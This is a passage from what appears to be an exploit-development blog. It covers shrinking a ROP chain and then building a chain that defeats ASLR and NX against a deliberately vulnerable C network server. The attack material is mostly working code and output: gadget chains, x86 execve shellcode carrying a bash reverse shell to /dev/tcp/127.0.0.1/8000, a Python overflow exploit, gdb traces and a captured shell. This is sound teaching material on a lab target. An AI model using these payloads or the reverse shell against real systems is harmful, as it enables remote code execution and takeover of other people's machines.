On line 7 execution is moved back to the main application, there we must move the value, which will be in the edi register, into ebx.

The first function is a bit more difficult because there are 2 instances of the offending gadget.

The first we can deal with the same as in the second function but the second instance is different.

The goal of the end of this function is to move the return value into edx so that the second function can be run directly after.

What we can do is move the value into edi and then xchg edx and edi using the following 2 gadgets:

1
2
0x080a3f72 : xchg eax, edi ; ret
0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret

There is 1 problem here, the inc instruction after the xchg.

We need to make sure that this (ebx + 0x5e5b04c4) adds up to a memory address that is writable.

After looking at the application memory map over a few runs of the application:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[email protected]:/home/testuser# cat /proc/32019/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
08ba6000-08bc8000 rw-p 00000000 00:00 0          [heap]
b77bb000-b77bc000 r-xp 00000000 00:00 0          [vdso]
bf7ed000-bf80e000 rw-p 00000000 00:00 0          [stack]
[email protected]:/home/testuser# cat /proc/32024/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
097fd000-0981f000 rw-p 00000000 00:00 0          [heap]
b77cc000-b77cd000 r-xp 00000000 00:00 0          [vdso]
bfba6000-bfbc7000 rw-p 00000000 00:00 0          [stack]

There are 2 sections of wriable memory that appear to be static (080cc000-080cd000 and 080ca000-080cc000).

As you can see though, these address ranges have low memory addresses, much smaller than the value added to ebx (0x5e5b04c4).

I decided I wanted to use the memory address of 0x080cc004, so I done the sum 0x1080cc004 - 0x5e5b04c4 = 0xa9b1bb40.

So if we get the value 0xa9b1bb40 into ebx before we run the gadget in question it should work all of the time.

With all of this in mind our new function 1 looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret
0x080a3f72 : xchg eax, edi ; ret
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x08057b7e : pop ebx ; ret
0xa9b1bb40 : 0x1080cc004 - 0x5e5b04c4
0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret
0xeeeeeeee
0x0807b086 : xchg eax, esp ; ret

Obviously this is smaller than the original function 1 meaning that the distance between function 1 and 2 will be smaller, in fact it is only 76 (or 0x4c) bytes now instead of 108.

Using the same method as before (attaching to the app using gdb and running find 0x08048000, 0x080ca000, 0x0000004c) I found that this value is found at the address 0x804ba61.

So we have to go about replacing those where ever we have called function 2 directly.

All of this increased the size of the payload from 1008 to 1188 bytes but that's still a lot smaller than the 1536 bytes of the previous exploit.

Exploiting The Application

So now we have all the required information to make a working exploit.

You can see my full notes here.

And the full exploit here.

As normal we run the vulnerable application:

1
[email protected]:~$ ./app-net

Start listening with nc:

1
[email protected]:~$ nc -l -p 8000

Launch the exploit:

1
[email protected]:~$ python app-net-rop-exploit-improved.py

Then if you look at the terminal windows running nc:

1
2
3
4
5
6
7
[email protected]:/home/appuser$ pwd
pwd
/home/appuser
[email protected]:/home/appuser$ whoami
whoami
appuser
[email protected]:/home/appuser$

PWNED!! :-D

Conclusion

I know we didn't save a huge amount of space with this exploit (only 348 bytes), that might be enough to bypass any space restrictions.

Also if we had more/different gadgets, which is certainly possible with a different application, we might have been capable of saving a lot more space.

The main point of this post was the demonstrate some reasonably advanced ROP techniques and suggest possibilities for improving an exploit where ROP is required.

Happy Hacking :-)

✇eXploit

Beating ASLR and NX using ROP

By: 0xe7

So far we've only beat either ASLR or NX seperately, now I will demonstrate how to beat both of these protections at the same time.

To do this I will use ROP (Return-oriented programming). We've seen ROP briefly in the last post but now we will use it alot more extensively.

ROP itself is a very simple idea, in situations where its impossible to run your own code, you use the code already in the application to do what you want it to do.

As we saw in the post about beating ASLR with full ASLR enabled the only section that is static is the text segment which contains the applications own code.

The "Return to Libc" method won't work because dynamically loaded libraries aren't at the same segment of memory as the applications code so we can no longer predict what memory addresses these functions (or pointers to the functions) will be at.

Normal shellcode will not run because NX is enabled.

So we have to find a way to run our own code by using only the code which is always loaded at the same address in memory.

Its worth noting that every ROP exploit will be remarkably different, this is because we can only use the applications own code and every applications code is different, so the important thing to learn in this post is the methodlogy that I will use to build the exploit.

I will assume that you have an indepth knowledge of the IA32 architecture and how the calling convention used by Linux (cdecl) works.

The App

The application we will be attacking is the same application as in the beating ASLR post.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <string.h>

#define PASS "topsecretpassword"
#define CNUM 58623
#define SFILE "secret.txt"
#define TFILE "token"
#define PORT 9999

void sendfile(int connfd, struct sockaddr_in cliaddr);
void senderror(int connfd, struct sockaddr_in cliaddr, char p[]);
void sendtoken(int connfd, struct sockaddr_in cliaddr);
int checkpass(char *p);


void main()
{
    int listenfd, connfd, n, c, r;
    struct sockaddr_in servaddr, cliaddr;
    socklen_t clilen;
    pid_t childpid;
    char pwd[4096];

    listenfd=socket(AF_INET,SOCK_STREAM,0);

    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
    servaddr.sin_port=htons(PORT);
    if ((r = bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))) != 0) {
        printf("Error: Unable to bind to port %d\n", PORT);
        exit(1);
    }

    listen(listenfd,1024);

    for(;;) {
        clilen=sizeof(cliaddr);
        connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen);

        n = recvfrom(connfd, pwd, 4096, 0, (struct sockaddr *)&cliaddr, &clilen);
        pwd[n] = '\0';
        r = checkpass(pwd);
        if (r != 0)
            if (r != 5)
                senderror(connfd, cliaddr, pwd);
            else
                sendtoken(connfd, cliaddr);
        else
            sendfile(connfd, cliaddr);
        printf("Received the following:\n");
        printf("%s", pwd);

        close(connfd);
    }
}

void sendfile(int connfd, struct sockaddr_in cliaddr)
{
    FILE *f;
    int c;
    f = fopen(SFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
        fclose(f);
    } else {
        printf("Error opening file: " SFILE "\n");
        exit(1);
    }
}

void senderror(int connfd, struct sockaddr_in cliaddr, char p[])
{
    sendto(connfd, "Wrong password: ", 16 , 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
    sendto(connfd, p, strlen(p), 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
}

void sendtoken(int connfd, struct sockaddr_in cliaddr)
{
    FILE *f;
    int c;
    f = fopen(TFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
        fclose(f);
    } else {
        printf("Error opening file: " TFILE "\n");
        exit(1);
    }
}

int checkpass(char *a)
{
    char p[512];
    int r, i;
    strncpy(p, a, strlen(a)+1);
    i = atoi(p);
    if (i == CNUM)
        r = 5;
    else
        r = strcmp(p, PASS);
    return r;
}

The only thing I've changed here is the size of the input accepted by the server (from 1000 to 4096). This is because the payload I need to send is larger than 1000 bytes.

Setting Up The Environment

Because the application that we are attacking is so small, we need to compile it with the -static flag, this will compile any libraries into the binary making for a larger text segment:

1
2
3
[email protected]:~$ gcc -o app-net app-net.c -static
[email protected]:~$ cat /proc/sys/kernel/randomize_va_space 
2

Its important to use the -static flag, firstly because you won't have enough ROP gadgets to write the exploit otherwise and because nearly all real world applications are much bigger than this small 1 so compiling it with the libraries static will make it more realistic.

If you don't get 2 from /proc/sys/kernel/randomize_va_space then run (as root):

1
[email protected]:~# echo 2 > /proc/sys/kernel/randomize_va_space 

Getting Gadgets

To build a ROP exploit you need to find ROP gadgets.

A ROP gadget is 1 or more assembly instructions followed by a ret (or return) instruction.

Finding these gadgets would be painful and slow manually so we will use an already avaliable tool ROPgadget by Jonathan Salwan of Shell Storm.

You can download the tool using git:

1
2
3
4
5
6
[email protected]:~$ git clone https://github.com/JonathanSalwan/ROPgadget.git
Cloning into 'ROPgadget'...
remote: Counting objects: 3031, done.
remote: Total 3031 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3031/3031), 10.08 MiB | 2.03 MiB/s, done.
Resolving deltas: 100% (1828/1828), done.

This script looks for all ROP gadgets in the application code and outputs them, there will be alot of output so redirect the output to a file to search through later:

1
[email protected]:~$ ROPgadget/ROPgadget.py --binary app-net > gadgets

The file (gadgets) will contain lines in the form of:

[memory address] : [series of instructions at that address]

The first thing I looked for is an int 0x80 followed by a ret:

1
[email protected]:~$ grep 'int 0x80' gadgets | grep 'ret'

There are none, this means we will have to do the attack in 1 syscall.

You can download the full list of ROP gadgets that I got here.

Testing New Shellcode

All of the shellcode I've written until now used multiple syscalls, we aren't able to do that now so we need 1 syscall that is useful for us.

To do this I will use the bash 1 liner here:

1
bash -i >& /dev/tcp/127.0.0.1/8000 0>&1

As before, although I'm doing everything over the loopback interface for ease and convenience, this could be done to any IP address.

I will use the execve syscall for this, in C this would look like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <unistd.h>

int main(int argc, char **argv)
{
    char *filename = "/bin/bash";
    char *arg1 = "-c";
    char *arg2 = "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1";
    char *args[] = { filename, arg1, arg2 };
    execve(args[0], &args[0], 0);
}

Using this, and already knowing (from previous posts) that the syscall number for execve is 11, we can create the same code in assembly and shellcode, first we need the strings in hex and backwards (because of the little endian architecture).

For this I will use a little python script I wrote:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python

import sys

string = sys.argv[1]
print 'Length: ' + str(len(string))

print 'Reversed: ' + string[::-1]

print 'And HEX\'d: ' + string[::-1].encode('hex')

sys.exit(0)

Now we can just run this script with each of our strings as an argument:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[email protected]:~$ python reverse-n-hex.py '/bin/bash'
Length: 9
Reversed: hsab/nib/
And HEX'd: 687361622f6e69622f
[email protected]:~$ python reverse-n-hex.py '-c'
Length: 2
Reversed: c-
And HEX'd: 632d
[email protected]:~$ python reverse-n-hex.py '/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1'
Length: 44
Reversed: 1&>0 0008/1.0.0.721/pct/ved/ &> i- hsab/nib/
And HEX'd: 31263e3020303030382f312e302e302e3732312f7063742f7665642f20263e20692d20687361622f6e69622f

Now we can build the shellcode in assembly:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
global _start

section .text

_start:
    ; zero eax for the nulls
    xor eax, eax
    ; free some space on the stack
    ; so we don't overwrite bits of our shellcode
    sub esp, 0x60
    ; setup the first argument string on the stack
    push eax
    push 0x68736162
    push 0x2f6e6962
    push 0x2f2f2f2f
    ; move the address of this string into ebx
    mov ebx, esp
    ; setup the third argument on the stack
    push eax
    push 0x31263e30
    push 0x20303030
    push 0x382f312e
    push 0x302e302e
    push 0x3732312f
    push 0x7063742f
    push 0x7665642f
    push 0x20263e20
    push 0x692d2068
    push 0x7361622f
    push 0x6e69622f
    ; move the address of the thrid argument string into esi for later
    mov esi, esp
    ; setup the second argument string on the stack
    push eax
    push word 0x632d
    ; move the address of the second argument string into edi for later
    mov edi, esp
    ; setup the "argv[]" argument on the stack
    push eax
    push esi
    push edi
    push ebx
    ; move the address of the "argv[]" argument into ecx
    mov ecx, esp
    ; setup edx to point to null
    push eax
    mov edx, esp
    ; move 11 into eax
    add al, 0xb
    ; initiate the syscall
    int 0x80

You can test this shellcode the way we have tested shellcode in the past, I won't do that because this post will be long enough anyway, just remember to use netcat to start listening because this will do a reverse shell connecting back to 127.0.0.1 on port 8000.

Searching Through The Gadgets

Now we know how the registers need to be setup when we execute the syscall we can go about searching through the avaliable gadgets to see what registers we have a lot of control of and what registers are more difficult to manipulate.

We can search the gadgets file with regex, like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[email protected]:~$ grep ' ecx, e[a-z][a-z]' gadgets | grep 'ret$'
0x08048207 : add eax, 0x80cb080 ; add ecx, ecx ; ret
0x0806cdbc : add ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; pop ebp ; ret
0x0804820c : add ecx, ecx ; ret
0x08056504 : and edx, 3 ; mov ecx, edx ; rep stosb byte ptr es:[edi], al ; pop edi ; pop ebp ; ret
0x080748f8 : cmp ecx, eax ; jb 0x8074910 ; sub eax, ebx ; pop ebx ; pop ebp ; ret
0x0806cdba : div ebx ; add ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; pop ebp ; ret
0x08056505 : loop 0x8056512 ; mov ecx, edx ; rep stosb byte ptr es:[edi], al ; pop edi ; pop ebp ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0x08056507 : mov ecx, edx ; rep stosb byte ptr es:[edi], al ; pop edi ; pop ebp ; ret
0x080748f7 : nop ; cmp ecx, eax ; jb 0x8074911 ; sub eax, ebx ; pop ebx ; pop ebp ; ret
0x0804820a : or al, 8 ; add ecx, ecx ; ret
0x08084b36 : or ecx, ecx ; ret
0x0804f539 : xor ecx, edi ; mov byte ptr [eax + edx], cl ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

The search above searches for any gadgets that use the ecx register as the source operand.

We also use grep 'ret$' at the end because we are only interested in gadgets that end with a ret instruction (it also shows gadgets that end in int 0x80 otherwise).

After searching through the gadgets for a while it becomes obvious that the ecx register is 1 of the more difficult to manipulate, so we will use the eax, ebx and edx registers to manipulate the data and we want to sort out the final value of ecx near the start of the exploit.

While searching through the gadgets, it would be helpful to paste what look to be the most useful gadgets into a seperate file so that you don't have to keep searching through the full list of gadgets.

Building The ROP Exploit

We are going to run into a few major problems while building this exploit.

Firstly, as I already mentioned ecx manipulation is highly restrictive.

Secondly, we are unable to send nulls (0x0) so we will need to put in placeholders and change their value in memory during runtime.

Lastly, we have no idea of any memory addresses within the payload that we will send, so we will have to calulate them during runtime also so that we can reference certain parts of our payload for various reasons.

Because our main 2 problems are to do with values within our payload and because we are unable to exploit this without being able to reference values within our payload we need to approach this problem first.

We do this by getting any address within our payload and calculating the rest of the addresses relative to that address.

The easiest way to do this is by getting the value of esp which, throughout our exploit, will point to a certain part of the payload.

There are various ways to do this (eg. by finding a mov [reg], esp, add [reg], esp) but we will use the following push, pop sequence to get the value of esp into ebp:

1
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret

And then move the value of ebp into eax:

1
0x080525d0 : xchg eax, ebp ; ret

Because eax is the most used register in our avaliable ROP gadgets, its handy to be able to move values into eax for further processing.

Analysing The Exploit

Its important to analyse this exploit throughout the development of the exploit because of the complexity of it.

The methodology that I will use here you will need to use thoroughly while developing the exploit.

First we write a python exploit containing the 2 ROP gadgets we have found so far:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python

import socket

payload = "A" * 532

payload += "\x5a\x71\x07\x08" # ebp = esp

payload += "\xd0\x25\x05\x08" # xchg eax, ebp

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

All this is doing is sending 532 A's to overflow the buffer until we start overwriting the return address.

Then we open the vulnerable application using gdb and run the exploit against it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
[email protected]:~$ gdb -q ./app-net
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble checkpass
Dump of assembler code for function checkpass:
   0x08048674 <+0>: push   ebp
   0x08048675 <+1>: mov    ebp,esp
   0x08048677 <+3>: sub    esp,0x228
   0x0804867d <+9>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048680 <+12>:    mov    DWORD PTR [esp],eax
   0x08048683 <+15>:    call   0x8055600 <strlen>
   0x08048688 <+20>:    add    eax,0x1
   0x0804868b <+23>:    mov    DWORD PTR [esp+0x8],eax
   0x0804868f <+27>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048692 <+30>:    mov    DWORD PTR [esp+0x4],eax
   0x08048696 <+34>:    lea    eax,[ebp-0x210]
   0x0804869c <+40>:    mov    DWORD PTR [esp],eax
   0x0804869f <+43>:    call   0x80556b0 <strncpy>
   0x080486a4 <+48>:    lea    eax,[ebp-0x210]
   0x080486aa <+54>:    mov    DWORD PTR [esp],eax
   0x080486ad <+57>:    call   0x8048eb0 <atoi>
   0x080486b2 <+62>:    mov    DWORD PTR [ebp-0x10],eax
   0x080486b5 <+65>:    cmp    DWORD PTR [ebp-0x10],0xe4ff
   0x080486bc <+72>:    jne    0x80486c7 <checkpass+83>
   0x080486be <+74>:    mov    DWORD PTR [ebp-0xc],0x5
   0x080486c5 <+81>:    jmp    0x80486e0 <checkpass+108>
   0x080486c7 <+83>:    mov    DWORD PTR [esp+0x4],0x80ab924
   0x080486cf <+91>:    lea    eax,[ebp-0x210]
   0x080486d5 <+97>:    mov    DWORD PTR [esp],eax
   0x080486d8 <+100>:   call   0x80555c0 <strcmp>
   0x080486dd <+105>:   mov    DWORD PTR [ebp-0xc],eax
   0x080486e0 <+108>:   mov    eax,DWORD PTR [ebp-0xc]
   0x080486e3 <+111>:   leave  
   0x080486e4 <+112>:   ret    
End of assembler dump.
(gdb) break *0x080486e4
Breakpoint 1 at 0x80486e4
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/10xw $esp
>x/i $eip
>end
(gdb) display/x $ebp
(gdb) display/x $eax
(gdb) run
Starting program: /home/appuser/app-net 
0xbfffe73c: 0x0807715a  0x080525d0  0xbfffe700  0x00001000
0xbfffe74c: 0x00000000  0xbffff770  0xbffff76c  0x00000000
0xbfffe75c: 0x00000000  0x00000000
=> 0x80486e4 <checkpass+112>:   ret    

Breakpoint 1, 0x080486e4 in checkpass ()
2: /x $eax = 0xffffffcd
1: /x $ebp = 0x41414141
(gdb)

Firstly, on line 4, I disassemble the checkpass function, this is the vulnerable function so our exploit gets triggered when this function returns (runs its ret instruction).

We need to set a breakpoint at the address of this ret instruction (0x080486e4 on line 34 and set on line 36) so that we can trace through and observe the values of the registers as our exploit runs.

Lines 38 to 43, I define a function that runs every time execution stops, this just give us the top 10 values on the stack (as referenced by esp) and the current instruction to be run (as referenced by eip).

Next, on lines 44 and 45, I instruct gdb to display the values of the ebp and eax registers, this will also run every time execution stops, these are the 2 registers we are manipulating with our first 2 gadgets.

Lastly I run the application and when I launch the exploit breakpoint 1 is reached (on line 53).

As you can see, from line 51, eip now points to the ret instruction at the end of the checkpass function, which is where our exploit begins.

The current values of eax and ebp are 0xffffffcd and 0x41414141 respectively.

Looking at the output of x/10xw $esp, which just prints the top 10 values on the stack, the first value is 0x0807715a (just the address of our first gadget) and the second is 0x080525d0 (which is the address of our second gadget).

After the second gadget is run eax should contain 0xbfffe740 (0xbfffe73c + 0x4).

Now we just trace through the next few instructions using the stepi gdb command:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
(gdb) stepi
Cannot access memory at address 0x41414145
(gdb) stepi
0xbfffe73c: 0xbfffe740  0x080525d0  0xbfffe700  0x00001000
0xbfffe74c: 0x00000000  0xbffff770  0xbffff76c  0x00000000
0xbfffe75c: 0x00000000  0x00000000
=> 0x807715b <__tzname_max+59>: mov    eax,ds:0x80ccbcc
0x0807715b in __tzname_max ()
2: /x $eax = 0xffffffcd
1: /x $ebp = 0x41414141
(gdb) stepi
0xbfffe73c: 0xbfffe740  0x080525d0  0xbfffe700  0x00001000
0xbfffe74c: 0x00000000  0xbffff770  0xbffff76c  0x00000000
0xbfffe75c: 0x00000000  0x00000000
=> 0x8077160 <__tzname_max+64>: pop    ebp
0x08077160 in __tzname_max ()
2: /x $eax = 0x0
1: /x $ebp = 0x41414141
(gdb) stepi
0xbfffe740: 0x080525d0  0xbfffe700  0x00001000  0x00000000
0xbfffe750: 0xbffff770  0xbffff76c  0x00000000  0x00000000
0xbfffe760: 0x00000000  0x00000000
=> 0x8077161 <__tzname_max+65>: ret    
0x08077161 in __tzname_max ()
2: /x $eax = 0x0
1: /x $ebp = 0xbfffe740
(gdb) stepi
0xbfffe744: 0xbfffe700  0x00001000  0x00000000  0xbffff770
0xbfffe754: 0xbffff76c  0x00000000  0x00000000  0x00000000
0xbfffe764: 0x00000000  0x00000000
=> 0x80525d0 <_int_malloc+2832>:    xchg   ebp,eax
0x080525d0 in _int_malloc ()
2: /x $eax = 0x0
1: /x $ebp = 0xbfffe740
(gdb) stepi
0xbfffe744: 0xbfffe700  0x00001000  0x00000000  0xbffff770
0xbfffe754: 0xbffff76c  0x00000000  0x00000000  0x00000000
0xbfffe764: 0x00000000  0x00000000
=> 0x80525d1 <_int_malloc+2833>:    ret    
0x080525d1 in _int_malloc ()
2: /x $eax = 0xbfffe740
1: /x $ebp = 0x0
(gdb)

So this worked as expected and we now have the address of our second ROP gadget inside eax.

All other addresses can be worked our relative to the address that we currently have.

Calculating An Address

The data that we need to reference we will put at the end of our payload.

Once we have the exploit almost complete we will know the length of our payload but until then we will write the exploit with an arbirary value and change it later.

For this we will use 1000 as the length from the second ROP gadget (the address we just retrieved from esp) to the start of our data.

Next we have to figure out how we will arrange the data at the end of the payload, this will allow us to work out the distances between the different sections of data so that the only value that will need to be changed is the first that we calculate. This will become more clear as we develop more of the exploit.

We need 4 different parts in the data section, the 3 strings and the pointers for the second argument to execve.

Here is how I've laid out the data:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
------------------------data------------------------
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

I've used 0xffffffff to represent where we want null bytes, these will have to be overwritten during runtime. We will also need to overwrite the pointers with the correct values at runtime, for now I've just put the placeholders 0xbbbbbbbb, 0xcccccccc and 0xdddddddd so that we can easily tell where we are while debugging the exploit.

It's also worth noting that because we are writing up the stack from lower down, the strings will be in normal order, there is no need to think about little endianness for them.

There is technically no reason to use ////bin/bash instead of /bin/bash here, like there was when writing the shellcode, but it rounds this up to 4 bytes so addresses will be slightly easier to calculate (this is 1 place this exploit could be optimized to reduce the size).

Now we need to calculate the address of the last value in our data (0xffffffff at the bottom)

There are 22 double words (a double word is 4 bytes) in the data, so 22 * 4 = 88, therefore we have 88 bytes from the top of our data to the end, as we are using 1000 bytes as a placeholder, for the length from the address we currently have to the top of the data, there are 1088 bytes we need to add to the address we got from esp in our first gadget.

Because we can't use nulls in our payload we have to calculate 1088 at runtime, we can do this using only eax and ebx, but first we have to move the value we currently have in eax, we'll move it to edx using this gadget:

1
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret

Along with moving the value in eax to edx, it pops 3 values off of the stack, we need to deal with this because if we put another gadget directly below this 1 it will be popped off into a register and will not be used.

We will use 0xeeeeeeee to represent junk values that will be popped off the stack but not used.

To calculate 1088 without using null bytes we will use 0xaaaaaaaa and substract the relevent number, to find out that number we do 0xaaaaaaaa - 1088 = 0xaaaaa66a.

We can subtract 2 values in eax and ebx using the following gadget:

1
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret

And we can use the following 2 gadgets to get the required values into eax and ebx respectively:

1
2
0x080a8576 : pop eax ; ret
0x08057b7e : pop ebx ; ret

Here I think is a good time to mention the importance of keeping notes while you are creating this exploit, here are my notes so far:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee
---------------------------- edx contains address of 0x080525d0
---------------------------- time to calculate the distance to the end of data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaa66a : (0xaaaaaaaa - (1000 + 88)) = distance to end of data
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax contains the distance to the end of data

#################DATA##################

------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

It's worth noting that to get to a lower value in our payload we need to increase the address and if we want to get to a higher value we need to decrease the address. This is a very important point!

Knowing this, to get to the end of the data from the higher up address we received earlier from esp, we need to add the address to the distance we just calculated.

We can do the addition to calculate the address that we want using this gadget:

1
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret

This will add eax and ebx and store the result in eax.

First we need to move the value from eax into ebx, for that we can use this gadget:

1
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret

And then move the address stored in edx (the first address we retrieved from esp) into eax:

1
0x0807abcc : mov eax, edx ; ret

If we put all of these together (while remembering to include junk values for the irrelevant pop instructions contained within the gadgets) we get:

1
2
3
4
5
6
7
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop

eax will now contain the address of the end of our data.

If you look again at the data you will realise that this address should contain nulls (its the last lot of 0xffffffff right at the end of our payload).

As we have this address we should go ahead and write nulls here so we don't have to worry about it later.

We can write whatever is stored in the eax register to an address stored in the edx register using this gadget:

1
0x08083f21 : mov dword ptr [edx], eax ; ret

Before we can do that we need to move the address from eax into edx:

1
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret

And we need to put 0 into eax:

1
0x08099c0f : xor eax, eax ; ret

Using all of this knowledge our notes should look like this (again bear in mind the junk values we need to insert):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee
---------------------------- edx contains address of 0x080525d0
---------------------------- time to calculate the distance to the end of data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaa66a : (0xaaaaaaaa - (1000 + 88)) = distance to end of data
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
